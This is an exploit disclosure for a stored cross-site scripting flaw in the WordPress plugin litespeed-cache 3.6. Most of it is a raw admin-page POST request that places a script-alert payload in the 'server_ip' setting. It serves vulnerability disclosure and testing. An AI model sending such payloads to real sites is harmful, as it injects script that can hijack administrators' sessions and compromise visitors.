WordPress Plugin litespeed cache 3.6 - 'server_ip' Cross-Site Scripting

# Exploit Title: WordPress Plugin litespeed-cache 3.6 - 'server_ip' Cross-Site Scripting
# Date: 20-12-2020
# Software Link: https://downloads.wordpress.org/plugin/litespeed-cache.3.6.zip
# Version: litespeed-cache
# Tested on: Windows 10 x64

# Description:
# A Stored Cross-site scripting (XSS) was discovered in wordpress plugins litespeed-cache 3.6
# One parameters(server_ip) have Cross-Site Scripting.

POST /wp-admin/admin.php?page=litespeed-general HTTP/1.1
Host: localhost
Content-Length: 374
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://localhost/wp-admin/admin.php?page=litespeed-general
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie:
wordpress_a5beef43d228c89cc1d954ec4fcadda1=admin%7C1609289111%7CM6c2pV6VbnD2OElpSET6Aw3GhKFJBGdgetyfHtqxJkC%7C27d97999284897d8645200c65a7f508dffef6a9184800b2905627ccbd4d71806;
wordpress_test_cookie=WP%20Cookie%20check;
_lscache_vary=9effc614452472ce40565e73d3f4301c;
wordpress_logged_in_a5beef43d228c89cc1d954ec4fcadda1=admin%7C1609289111%7CM6c2pV6VbnD2OElpSET6Aw3GhKFJBGdgetyfHtqxJkC%7Cd7e1a2a77822d410d7ebe2540b88dc68f908a031ceda6e884995ff419bfb6b38;
wp-settings-1=libraryContent%3Dbrowse; wp-settings-time-1=1609116311
Connection: close

LSCWP_CTRL=save-settings&LSCWP_NONCE=af21ea74b2&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fadmin.php%3Fpage%3Dlitespeed-general&_settings-enroll%5B%5D=auto_upgrade&auto_upgrade=0&_settings-enroll%5B%5D=api_key&api_key=&_settings-enroll%5B%5D=server_ip&server_ip=%3Cscript%3Ealert%28%27Hoa%27%29%3C%2Fscript%3E&_settings-enroll%5B%5D=news&news=1&litespeed-submit=Save+Changes